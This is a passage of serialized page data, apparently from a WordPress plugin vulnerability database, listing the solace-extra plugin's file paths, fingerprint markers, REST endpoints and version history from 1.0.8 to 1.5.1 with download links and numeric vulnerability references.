statements","2026-03-16T17:44:25.389Z",{"wat":1963,"direct":1986},{"assetPaths":1964,"generatorPatterns":1979,"scriptPaths":1980,"versionParams":1981},[1965,1966,1967,1968,1969,1970,1971,1972,1973,1974,1975,1976,1977,1978],"\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fassets\u002Fcss\u002Fsolace-extra-style.css","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fassets\u002Fjs\u002Fsolace-extra-scripts.js","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fcss\u002Fadmin-style.css","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fjs\u002Fadmin-scripts.js","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fwp-background-processing\u002Fclasses\u002Fwp-async-request.php","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fwp-background-processing\u002Fclasses\u002Fwp-background-process.php","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fexport-import\u002Fparsers\u002Fclass-wxr-parser.php","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fexport-import\u002Fparsers\u002Fclass-wxr-parser-simplexml.php","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fexport-import\u002Fparsers\u002Fclass-wxr-parser-xml.php","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fexport-import\u002Fparsers\u002Fclass-wxr-parser-regex.php","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fexport-import\u002Fclass-wp-import.php","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fincludes\u002Fclass-solace-extra-activator.php","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fincludes\u002Fclass-solace-extra-deactivator.php","\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fwidgets\u002Fwidgets.php",[],[1966,1968],[1982,1983,1984,1985],"solace-extra\u002Fassets\u002Fcss\u002Fsolace-extra-style.css?ver=","solace-extra\u002Fassets\u002Fjs\u002Fsolace-extra-scripts.js?ver=","solace-extra\u002Fadmin\u002Fcss\u002Fadmin-style.css?ver=","solace-extra\u002Fadmin\u002Fjs\u002Fadmin-scripts.js?ver=",{"cssClasses":1987,"htmlComments":1990,"htmlAttributes":1993,"restEndpoints":1996,"jsGlobals":1999,"shortcodeOutput":2001},[1988,1989],"solace-extra-admin-wrap","solace-extra-widget",[1991,1992],"The code that runs during plugin activation.","The code that runs during plugin deactivation.",[1994,1995],"data-solace-extra-version","data-solace-extra-admin-nonce",[1997,1998],"\u002Fwp-json\u002Fsolace\u002Fv1\u002Fsettings","\u002Fwp-json\u002Fsolace\u002Fv1\u002Fupdates",[2000],"solace_extra_params",[2002,2003],"[solace_extra_button]","[solace_extra_testimonial]",{"error":739,"url":2005,"statusCode":2006,"statusMessage":2007,"message":2007},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fsolace-extra\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":312,"versions":2009},[2010,2016,2024,2031,2039,2049,2060,2072,2084,2096,2108,2120,2132,2144,2156,2168,2180,2192],{"version":6,"download_url":24,"svn_tag_url":2011,"released_at":36,"has_diff":57,"diff_files_changed":2012,"diff_lines":36,"trac_diff_url":2013,"vulnerabilities":2014,"is_current":739},"https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.5.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.5.0&new_path=%2Fsolace-extra%2Ftags%2F1.5.1",[2015],{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2017,"download_url":2018,"svn_tag_url":2019,"released_at":36,"has_diff":57,"diff_files_changed":2020,"diff_lines":36,"trac_diff_url":2021,"vulnerabilities":2022,"is_current":57},"1.5.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.5.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.5.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.3.3&new_path=%2Fsolace-extra%2Ftags%2F1.5.0",[2023],{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":73,"download_url":2025,"svn_tag_url":2026,"released_at":36,"has_diff":57,"diff_files_changed":2027,"diff_lines":36,"trac_diff_url":2028,"vulnerabilities":2029,"is_current":57},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.3.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.3.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.3.2&new_path=%2Fsolace-extra%2Ftags%2F1.3.3",[2030],{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":89,"download_url":2032,"svn_tag_url":2033,"released_at":36,"has_diff":57,"diff_files_changed":2034,"diff_lines":36,"trac_diff_url":2035,"vulnerabilities":2036,"is_current":57},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.3.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.3.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.3.1&new_path=%2Fsolace-extra%2Ftags%2F1.3.2",[2037,2038],{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":117,"download_url":2040,"svn_tag_url":2041,"released_at":36,"has_diff":57,"diff_files_changed":2042,"diff_lines":36,"trac_diff_url":2043,"vulnerabilities":2044,"is_current":57},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.3.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.3.0&new_path=%2Fsolace-extra%2Ftags%2F1.3.1",[2045,2046,2047,2048],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":218,"download_url":2050,"svn_tag_url":2051,"released_at":36,"has_diff":57,"diff_files_changed":2052,"diff_lines":36,"trac_diff_url":2053,"vulnerabilities":2054,"is_current":57},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.3.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.3.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.2.2&new_path=%2Fsolace-extra%2Ftags%2F1.3.0",[2055,2056,2057,2058,2059],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2061,"download_url":2062,"svn_tag_url":2063,"released_at":36,"has_diff":57,"diff_files_changed":2064,"diff_lines":36,"trac_diff_url":2065,"vulnerabilities":2066,"is_current":57},"1.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.2.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.2.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.2.1&new_path=%2Fsolace-extra%2Ftags%2F1.2.2",[2067,2068,2069,2070,2071],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2073,"download_url":2074,"svn_tag_url":2075,"released_at":36,"has_diff":57,"diff_files_changed":2076,"diff_lines":36,"trac_diff_url":2077,"vulnerabilities":2078,"is_current":57},"1.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.2.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.2.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.1.9&new_path=%2Fsolace-extra%2Ftags%2F1.2.1",[2079,2080,2081,2082,2083],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2085,"download_url":2086,"svn_tag_url":2087,"released_at":36,"has_diff":57,"diff_files_changed":2088,"diff_lines":36,"trac_diff_url":2089,"vulnerabilities":2090,"is_current":57},"1.1.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.1.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.1.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.1.8&new_path=%2Fsolace-extra%2Ftags%2F1.1.9",[2091,2092,2093,2094,2095],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2097,"download_url":2098,"svn_tag_url":2099,"released_at":36,"has_diff":57,"diff_files_changed":2100,"diff_lines":36,"trac_diff_url":2101,"vulnerabilities":2102,"is_current":57},"1.1.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.1.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.1.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.1.7&new_path=%2Fsolace-extra%2Ftags%2F1.1.8",[2103,2104,2105,2106,2107],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2109,"download_url":2110,"svn_tag_url":2111,"released_at":36,"has_diff":57,"diff_files_changed":2112,"diff_lines":36,"trac_diff_url":2113,"vulnerabilities":2114,"is_current":57},"1.1.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.1.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.1.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.1.5&new_path=%2Fsolace-extra%2Ftags%2F1.1.7",[2115,2116,2117,2118,2119],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2121,"download_url":2122,"svn_tag_url":2123,"released_at":36,"has_diff":57,"diff_files_changed":2124,"diff_lines":36,"trac_diff_url":2125,"vulnerabilities":2126,"is_current":57},"1.1.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.1.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.1.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.1.4&new_path=%2Fsolace-extra%2Ftags%2F1.1.5",[2127,2128,2129,2130,2131],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2133,"download_url":2134,"svn_tag_url":2135,"released_at":36,"has_diff":57,"diff_files_changed":2136,"diff_lines":36,"trac_diff_url":2137,"vulnerabilities":2138,"is_current":57},"1.1.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.1.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.1.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.1.3&new_path=%2Fsolace-extra%2Ftags%2F1.1.4",[2139,2140,2141,2142,2143],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2145,"download_url":2146,"svn_tag_url":2147,"released_at":36,"has_diff":57,"diff_files_changed":2148,"diff_lines":36,"trac_diff_url":2149,"vulnerabilities":2150,"is_current":57},"1.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.1.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.1.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.1.2&new_path=%2Fsolace-extra%2Ftags%2F1.1.3",[2151,2152,2153,2154,2155],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2157,"download_url":2158,"svn_tag_url":2159,"released_at":36,"has_diff":57,"diff_files_changed":2160,"diff_lines":36,"trac_diff_url":2161,"vulnerabilities":2162,"is_current":57},"1.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.1.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.1.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.1.1&new_path=%2Fsolace-extra%2Ftags%2F1.1.2",[2163,2164,2165,2166,2167],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2169,"download_url":2170,"svn_tag_url":2171,"released_at":36,"has_diff":57,"diff_files_changed":2172,"diff_lines":36,"trac_diff_url":2173,"vulnerabilities":2174,"is_current":57},"1.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.1.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.1.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.1.0&new_path=%2Fsolace-extra%2Ftags%2F1.1.1",[2175,2176,2177,2178,2179],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2181,"download_url":2182,"svn_tag_url":2183,"released_at":36,"has_diff":57,"diff_files_changed":2184,"diff_lines":36,"trac_diff_url":2185,"vulnerabilities":2186,"is_current":57},"1.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.1.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.1.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fsolace-extra%2Ftags%2F1.0.8&new_path=%2Fsolace-extra%2Ftags%2F1.1.0",[2187,2188,2189,2190,2191],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38},{"version":2193,"download_url":2194,"svn_tag_url":2195,"released_at":36,"has_diff":57,"diff_files_changed":2196,"diff_lines":36,"trac_diff_url":36,"vulnerabilities":2197,"is_current":57},"1.0.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.0.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fsolace-extra\u002Ftags\u002F1.0.8\u002F",[],[2198,2199,2200,2201,2202],{"id":84,"url_slug":85,"title":86,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":89},{"id":68,"url_slug":69,"title":70,"severity":39,"cvss_score":74,"vuln_type":76,"patched_in_version":73},{"id":112,"url_slug":113,"title":114,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":117},{"id":97,"url_slug":98,"title":99,"severity":101,"cvss_score":102,"vuln_type":104,"patched_in_version":89},{"id":32,"url_slug":33,"title":34,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":38}]